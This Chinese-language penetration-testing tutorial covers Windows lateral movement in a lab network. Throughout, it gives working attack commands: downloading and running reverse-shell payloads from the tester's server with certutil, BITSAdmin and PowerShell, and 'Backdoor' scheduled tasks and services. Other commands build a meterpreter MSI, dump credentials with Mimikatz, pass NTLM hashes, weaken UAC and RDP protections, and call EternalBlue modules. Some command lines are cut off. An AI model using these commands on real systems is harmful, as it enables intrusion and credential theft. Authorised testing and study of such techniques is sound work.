内网渗透体系建设——横向移动
横向移动
本章所有关于横向移动的攻击技术都以如图所示的网络拓扑进行测试
Kali Linux为测试人员的主机,其对测试人员是可控的,也被称为”可控主机”或”可控服务器”。Initial Victim为测试人员最初攻陷的机器,也被称为”跳板机” “所控主机”或”当前所控主机”。内网中的其他三台机器分别是本次实践的横向移动目标,需要从Initial Victim迁移到这三台目标机器。它们也被称为”远程主机”或”内网其他主机”
横向移动中的文件传输
测试人员往往需要预先制订文件传输方案,以便在后续操作过程中向攻击目标部署攻击载荷或其他文件
通过网络共享
Windows系统中的网络共享功能可以实现局域网之间的文件共享。通过提供有效的用户凭据,用户可以很轻松地将文件从一台机器传输到另一台机器。执行”net share”命令,获得Windows系统默认开启的网络共享,其中C$为C盘共享,ADMIN$为系统目录共享,还有一个是IPC$共享。IPC (Internet Process Connection) 是共享”命名管道”的资源,为了让进程间通信而开放的命名管道,通过提供可信任的用户名和口令,连接双方可以建立安全的通道并以此通道进行加密数据的交换,从而实现对远程计算机的访问
实战中往往会建立IPC$连接。通过IPC$连接,不仅可以进行所有文件共享操作,还可以实现其他远程管理操作,如列出远程主机进程、在远程主机上创建计划任务或系统服务等,这在进行内网横向移动中起着至关重要的作用
建立IPC$连接需要具备以下两个条件:①远程主机开启了IPC连接; ②远程主机的139端口和445端口开放
1 | net use \\10.10.10.19\IPC$ "Admin@123" /user:"Administrator" |
列出远程主机的C盘共享目录
1 | dir \\10.10.10.19\C$ |
“copy”命令可以通过共享连接向远程主机上复制文件,也可以将远程主机上的文件复制到本地,但需要注意当前用户对远程目录的权限。实战中可以将攻击载荷上传到远程主机,然后通过其他远程执行的方法来运行,如创建远程计划任务或服务等
1 | copy .\reverse_tcp.exe 10.10.10.19\cs |
建立其他共享连接的命令与PC$连接的命令相同,需要指定远程主机的IP或主机名、盘符、用户名和密码
1 | net use \\10.10.10.19\C$ "Admin@123" /user:"Administrator" #连接远程主机的C$共享 |
搭建SMB服务器
实战中可以在测试人员自已的服务器或当前所控内网主机上搭建SMB服务器,将需要横向传输的文件如攻击载荷等放入SMB服务器的共享目录,并指定UNC路径,让横向移动的目标主机远程加载SMB共享的文件。注意需使用SMB匿名共享,并且搭建的SMB服务器能够被横向移动的目标所访问到
在Linux系统上,可以通过Impacket项目提供的smbserver.py来搭建SMB服务器。搭建一个名为evilsmb,共享目录指向/root/share的SMB匿名共享
1 | mkdir /root/share |
对于Windows系统,如果已经获取管理员权限,可以手动配置SMB匿名共享,也可以通过Invoke-BuildAnonymousSMBServer在本地快速启动一个匿名共享
通过windows自带工具
Certutil
Certutil是Windows自带的命令行工具,用于管理Windows证书并作为证书服务的一部分安装。Certutil提供从网络中下载文件的功能,可以在远程主机上执行Certutil命令,控制其下载预先部署在可控服务器上的恶意文件
1
certutil -urlcache -split -f http://IP:Port/shell.exe C:\reverse_tcp.exe
BITSAdmin
Bitsadmin是一个Windows命令行工具,可以用于创建、下载或上载作业,监视其进度。Windows7及以后版本的系统自带Bitsadmin工具1
bitsadmin /transfer test http://IP:Port/shell.exe C:\reverse_tcp.exe
PowerShell
参考PowerShell远程加载执行的思路,可以通过创建WebClient对象来实现文件下载
1 | (New-Object System.Net.Webclient).DownloadFile('http://IP:Port/shell.exe','C:\reverse_tcp.exe') |
创建计划任务
常规利用流程
测试人员可以通过已有的IPC连接,在远程主机上创建计划任务,让目标主机在规定的时间点或周期内执行特定操作。在拥有对方管理员凭据的条件下,可以通过计划任务实现横向移动,具体操作流程如下:
①利用已建立的共享连接向远程主机上传攻击载荷
②利用已建立的IPC连接或指定用户凭据的方式在远程主机上创建计划任务
1 | schtasks /Create /S <TargetIP> /TN Backdoor /SC minute /MO 1 /TR <PayloadPath> /RU System /F |
如果没有建立IPC连接,就需要手动指定远程主机的用户凭据
1 | schtasks /Create /S <TargetIP> /TN Backdoor /SC minute /MO 1 /TR <PayloadPath> |
立即启动该计划任务即可获取远程主机的权限,也可以等待计划任务自行启动
1 | schtasks /RUN /S <TargetIP> /I /TN Backdoor #立即启动计划任务 |
也可以通过创建计划任务在远程主机上执行系统命令,并将执行结果写入文件,然后通过type命令进行远程读取
1 | schtasks /Create /S <TargetIP> /TN Backdoor /SC minute /MO 1 /TR "C:\Windows\System32\cmd.exe |
UNC路径加载执行
Windows系统中使用UNC路径来访问网络共享资源,格式如下:
1 | \\servername\sharename\directory\filename |
在远程主机上攻击载荷时,可以直接使用UNC路径代替常规的本地路径,让远程主机直接在测试人员搭建的SMB共享中加载攻击载荷并执行。这样可以省去手动上传攻击载荷的步骤。以计划任务为例进行演示,其他类似创建服务、PsExec、WMI、DCOM等远程执行方法都适用
①在一台可控的服务器上搭建SMB匿名共享服务,并将生成的攻击载荷放入共享目录
②执行以下命令,在远程主机(10.10.10.19)创建计划任务,使用UNC路径加载位于192.168.2.143共享中的攻击载荷并执行
1 | schtasks /Create /S 10.10.10.19 /TN Backdoor /SC minute /MO 1 /TR \\192.168.2.143\evilsmb\reverse_tcp.exe /RU System /F /U Administrator /P Admin@123 |
启动后,远程主机成功上线
利用系统服务
创建远程服务
除了创建计划任务,测试人员还可以通过在远程主机上创建系统服务的方式,在远程主机上运行指定的程序或命令。该方式需要拥有两端主机的管理员权限和IPC$连接,具体操作如下
①利用已建立的共享连接向远程主机(10.10.10.19)上传攻击载荷
②利用已建立的IPC连接在远程主机上创建系统服务
1 | sc \\10.10.10.19 create Backdoor binpath="cmd.exe /k C:\reverse_tcp.exe" |
在远程主机,上创建一个名为Backdoor的系统服务,服务启动时将执行上传的攻击载荷
③执行以下命令:
1 | sc \\10.10.10.19 start Backdoor |
立即启动该服务,此时虽然提示错误,但是已经成功获取了远程主机的权限
攻击成功后,将创建的服务删除
1 | sc \\10.10.10.19 delete Backdoor |
SCShell
SCShel1是一款利用系统服务的无文件横向移动工具。与传统的创建远程服务的方法不同,SCShell利用提供的用户凭据,通过ChangeServiceConfigA API修改远程主机上的服务配置,将服务的二进制路径名修改为指定的程序或攻击载荷,然后重启服务。执行结束后,服务二进制路径将恢复为原始路径
SCShell需要提供远程主机的管理员权限用户的凭据,并且需要已知远程主机上的系统服务名称
1 | SCShell.exe 10.10.10.19 XblAuthManager "C:\Windows\System32\cmd.exe /c calc" hack-my.com Administrator Admin@123 |
UAC Remote Restrictions(远程限制)
简单说就是微软在Windows Vista
之后为了更好管理和保护本地管理员组成员的用户, 引入了远程限制, 此机制有助于防止本地恶意软件以管理员权限远程执行(被通过远程的方式调用), 所以只允许RID 500(administrator)
这个本地管理员组用户, 其他的用户均会拒绝访问(域管理员用户不受限)
Psexec
、WMI
、WinRM
、PTH哈希传递都只能使用RID 500(administrator)本地管理员用户
可以通过执行下面命令后重启系统来关闭远程限制
1 | reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 |
远程桌面利用
远程桌面协议(Remote Desktop Protocol, RDP),默认监听TCP 3389端口
利用远程桌面进行横向移动是常见的方法。当内网中的其他主机开启了远程桌面服务后,测试人员可以通过已获取的用户凭据,借助内网代理等技术进行远程登录,通过远程桌面服务对目标主机进行实时操作。但是这种方法可能将已登录的用户强制退出,容易被管理员发现
远程桌面的确定和开启
1 | reg query "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections |
RDP Hijacking
对于开启远程桌面服务的Windows计算机,当多个用户进行登录时,会产生多个会话。渗透测试人员可以通过已获取的SYSTEM权限劫持其他用户的RDP会话,并在未授权的情况下成功登入目标系统,即使该用户的会话已断开。这种攻击方法被称为”RDP Hijacking” (远程桌面劫持)
远程桌面劫持需要获取系统SYSTEM权限并执行tscon命令。该命令提供了一个切换用户会话的功能。在正常情况下,切换会话时需要提供目标用户的登录密码,但在SYSTEM权限下能够完全绕过验证,不输入密码即可切换到目标用户的会话,从而实现未授权登录
- 登录一个一般权限用户的RDP
- 使用工具提权为SYSTEM
- 执行
query user
查看主机会话记录SYSTEM
权限执行tscon <ID>
切换到另一个用户的RDP会话
SharpRDP
SharpRDP
工具可以通过RDP协议在远程主机执行系统命令, 且不需要GUI客户端, 使用条件:
- 远程主机开启远程桌面功能
- 防火墙关闭/放行3389端口
如果想登录一台内网主机的远程桌面,需要先搭建内网代理然后使用RDP客户端进行连接。但测试人员可以直接将SharpRDP上传到跳板机,然后获取到用户凭据,对内网其他主机执行系统命令。这样就省去了内网代理等中间环节
PsExec 远程控制
PsExec是微软官方提供的一款实用的Windows远程控制工具,可以根据凭据在远程系统上执行管理操作,并且可以获得与命令行几乎相同的实时交互性。PsExec最强大的功能之一就是可以在远程系统中启动交互式命令提示窗口,以便实时显示有关远程系统的信息
PsExec原理是通过SMB连接到服务端的Admin$共享,并释放名为“psexesvc.exe的二进制文件,然后注册名为“PSEXESVC”服务。当客户端执行命令时,服务端通过PSEXESVC服务启动相应的程序执行命令并回显数据。运行结束后,PSEXESVC服务会被删除
用PsExec进行远程操作需要具备以下条件:①远程主机开启了Admin$共享 ②远程主机未开启防火墙或放行445端口
用域管理员用户的凭据连接远程主机(10.10.10.19),并以SYSTEM权限启动一个交互式命令行
1 | PsExec.exe -accepteula \\10.10.10.19 -u HACK-MY\Administrator -p Admin@123 -s cmd.exe |
WMI的利用
WMI(Windows Management Instrumentation, Windows管理规范)是一项核心的Windows管理技术。用户可以通过WMI管理本地和远程计算机。Windows为远程传输WMI数据提供了两个可用的协议,即分布式组件对象模型(Distributed Component ObjectModel, DCOM)和Windows远程管理(Windows Remote Management, WinRM),使得WMI对象的查询、事件注册、WMI类方法的执行和类的创建等操作都能够远程进行
在横向移动时,测试人员可以利用WMI提供的管理功能,通过已获取的用户凭据,与本地或远程主机进行交互,并控制其执行各种行为。目前有两种常见的利用方法: 1.通过调用WMI的类方法进行远程执行,如Win32 Process类中的Create方法可以在远程主机上创建进程,Win32 Product类 中的Install方法可以在远程主机上安装恶意的MSI 2.远程部署WMI事件订阅,在特定条的事件发生时触发攻击
利用WMI进行横向移动需要具备以下条件:①远程主机的WMI服务为开启状态(默认开启);②远程主机防火墙放行135端口(WMI管理的默认端口)
常规利用方法
执行远程查询
1
wmic /node: /user: /password: process list brief #查询远程主机的进程信息
创建远程进程
无回显, 可以将结果重定向输出到一个文件中进行文件读取
1
wmic /node: /user: /password: process create "cmd.exe /c ipconfig > result.txt" #远程主机上创建新进程
远程安装MSI文件
通过调用Win32_Product.Install方法,可以控制远程主机安装恶意的MSI (Microsoft Installer)文件,从而获取其权限
1
2
3
4
5
6
7msfvenom -p windows/x64/meterpreter/reverse_http LHOST=192.168.92.130 LPORT=80 -f msi -o reverse_http_80.msi #使用Metaspolit生成msi恶意文件
python3 smbserver.py evilsmb pwd -smb2support
# 在一台测试人员可控的服务器上搭建SMB共享服务器,并将生成的MSI文件放入共享目录
wmic /node: /user: /password: product call install PackageLocation="\\\evilsmb\reverse_http_80.msi"
#在跳板机上执行,控制远程主机通过UC路径进行远程加载测试人员服务器的MSI文件并进行安装,成功获取远程主机的权限
常见利用工具
Wmiexec
1
2python3 wmiexec.py H0CKSR/Administrator:adminDC#\@123@192.168.30.10 #从远程主机获取交互式的shell
python3 wmiexec.py /:@
2.Invoke-WMICommand
Invoke-WmiCommand.psl是PowerSploit项目中的一个脚本,可以通过PowerShell调用WMI来远程执行命令:
1 | #远程加载Invoke-WmiCommand.ps1脚本 |
WMI事件订阅的利用
测试人员可以使用WMI的功能在远程主机上部署永久事件订阅,并在特定事件发生时执行任意代码或系统命令。使用WMI事件消费类的ActiveScriptEventConsumer和CommandLineEventConsumer,.可以在远程主机上执行任何攻击载荷。该技术主要用来在目标系统上完成权限持久化,亦可用于横向移动,并且需要提供远程主机的管理员权限的用户凭据
DCOM的利用
COM和DCOM
COM(组件对象模型)
COM由一组构造规范和组件对象组成。COM组件对象通过接口描述自身,组件提供的服务都通过接口公开。接口就是一组函数指针表。每个指针初始化指向某个具体的函数体,一个组件对象实现的接口数量没有限制。COM指定了一个对象模型和编程要求,使COM对象能够与其他对象交互(交互的不同对象可以跨进程和跨主机)
CLSID
在前面potato提权部分有说到寻找可用的COM对象,指定COM对象的方式就是指定COM对象的CLSID
Windows中每个COM对象都由一个128位二进制标识符标识(GUID),当GUID用于标识COM对象的时候就称为CLSID(类标识符);当GUID用于标识接口时称为IID(接口标识符);一些CLSID还有
ProgID
方便记忆DCOM(分布式组件对象模型)
DCOM是基于COM的一系列概念和程序接口支持组件之间跨主机通信
DCOM是COM的拓展, 允许应用程序实例化和访问远程主机上的COM对象的属性和方法
DCOM通过RPC技术将COM的功能拓展到本地之外,因此远程主机上托管COM服务端的软件可以通过PRC技术向客户端公开其方法
通过DCOM横向移动
1.MMC20.Application
2.ShellWindows
3.ShellBrowserWindow
WinRM的利用
WinRM通过WS-Management
协议(用于远程管理软硬件的web协议)使用5985端口实现远程连接, 在开启WinRM服务后防火墙会自动方向相关端口从而让远程主机对其进行远程管理(WinServer2008以上的服务器中WinRM才会自启动)。使用WinRM横移需要有远程主机的管理员凭据信息(账号密码)
通过WinRM执行远程命令
Windows自带的远程管理命令行工具:
Winrs
Windows远程管理提供的客户端程序, 允许通过提供的用户凭据, 在运行WinRM的服务器上执行系统命令。要求通信双方都安装WinRM服务,使用
WS-Management
1
winrs.exe -r:http://IP:Port -u:administrator -p:adminDC#@123 "whoami"
Winrm.cmd
Winrm.cmd允许WMI对象通过WinRM传输进行远程交互,在本地或远程计算机上枚举WMI对象实例或调用WMI类方法。例如,通过调用Win32 Process类中的Create方法来创建远程进程
默认无法通过Winrm连接到目标系统
传输为HTTPS或目标位于
TrustedHosts
列表中并且提供了显式凭据使用winrm.cmd配置
TrustedHosts
(列表中的计算机可能未经过身份验证,相关设置方法通过winrm help config
查看)1
2winrm set winrm/config/client @{TrustedHosts=''} #将目标主机添加到TrustedHosts列表
powershell -exec bypass -Command "Set-Item WSMan:localhost\client\trustedhosts -value *" #通过powersehll将所有主机加入到TrustedHosts
实战中可以远程执行一个攻击载荷,这里尝试启动一个notepad.exe进程,命令如下:
1
2winrm invoke create wmicimv2/win32_process -SkipCAcheck -skipCNcheck @{commandline=
"notepad.exe"} -r:http://10.10.10.19:5985 -u:Administrator -p:Admin@123
通过WinRM获取交互式会话
1.Powersehll下的利用
1 | $User = 'H0CKSR\Administrator' #指定远程系统用户名 |
基于WinRM Shell的渗透测试框架,用户只需要提供目标地址、用户名、密码或用户哈希即可进行攻击
哈希传递攻击
哈希传递(Pass The Hash, PTH)是一种针对NTLM协议的攻击技术。在NTLM身份认证的第三步中生成Response时,客户端直接使用用户的NTLM哈希值进行计算,用户的明文密码并不参与整个认证过程。也就是说,在Windows系统中只使用用户哈希值对访问资源的用户进行身份认证
当测试人员获得有效的用户名和密码哈希值后,就能够使用该信息对远程主机进行身份认证,不需暴力破解获取明文密码即可获取该主机权限。该方法直接取代了窃取用户明文密码和暴力破解哈希值的需要,在内网渗透中十分经典
哈希传递攻击的利用
通过Mimikatz和Impacket项目中的常用工具来简单演示哈希传递攻击的利用方法。相关利用工具还有很多,如CrackMapExec、PowerShell、Evil-Winrm等,Metasploit框架下也内置了很多可以执行哈希传递攻击的模块
- 利用Mimikatz进行PTH
Mimikatz中内置了哈希传递功能,需要本地管理员权限
①将Mimikatz上传到跳板机并执行以下命令抓取用户的哈希
1 | mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords full" exit |
②利用抓取到的域管理员的NTLM Hash进行哈希传递,在跳板机执行以下命令:
1 | mimikatz.exe "privilege::debug" "sekurlsa::pth /user:Administrator /domain:hack-my.com |
弹出一个新的命令行窗口,在新的命令行中具有域管理员权限,可以访问域控的CFS服务
- 利用Impacket进行PTH
Impacket项目中具有远程执行功能的几个脚本几乎都可以进行哈希传递攻击,常见的有psexec.py、smbexec.py和wmiexec.py。在使用时,可以借助内网代理等技术对内网主机进行攻击。以smbexec.py为例,执行以下命令,通过进行哈希传递,获取远程主机10.10.10.19)的交互式命令行
1 | python smbexec.py -hashes :570a9a65db8fba761c1008a51d4c95ab hack-my.com/ |
利用哈希传递登录远程桌面
条件:
- 远程主机开启受限管理员模式
- 用于远程桌面的用户位于远程主机的管理员组中(受限管理员模式只对管理员组用户有效,如果获取哈希的用户属于远程桌面用户组就无法进行哈希传递攻击)
- 拿到远程主机上能够登录的用户的哈希
WinServer2012 R2
开始采用新版RDP, 支持受限管理员模式, 在该模式下才可以使用哈希进行哈希传递登录而不需要输入密码(在Win8.1
和WinServer2012 R2
上默认开启)
没有开启受限管理员的主机可以通过下面命令开启:
1 | reg add HKLM\System\CurrentControlSet\Control\Lsa /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f |
查看主机受限模式开启状态
1 | reg query HKLM\System\CurrentControlSet\Control\Lsa /v DisableRestrictedAdmin #输出为0则已启动,为1则未启动 |
远程主机开启受限管理员模式的话就可以通过Mimikatz进行攻击
1 | Mimikatz.exe privilege::debug sekurlsa::pth /user:Administrator /domain:hack-my.com /ntlm:9d4dc8ae92b6e52504cca4a930ca50ec "/run:mstsc.exe /restrictedadmin" |
大致原理是,哈希传递成功后执行“mstsc.exe /restrictedadmin”命令,以受限管理员模式运行远程桌面客户端,此时不需输入用户名密码即可成功登录远程桌面。注意受限管理员模式只对管理员组中的用户有效,如果获取到的用户属于远程桌面用户组,就无法通过哈希传递进行登录
EhernalBlue永恒之蓝
1 | use auxiliary/scanner/smb/smb_ms17_010 #检测模块,用于检查是否存在漏洞 |
与EternalBlue类似的远程代码执行漏洞还有很多,如MS08-067、CVE-2019-0708等,在内网渗透中可广泛应用于横向移动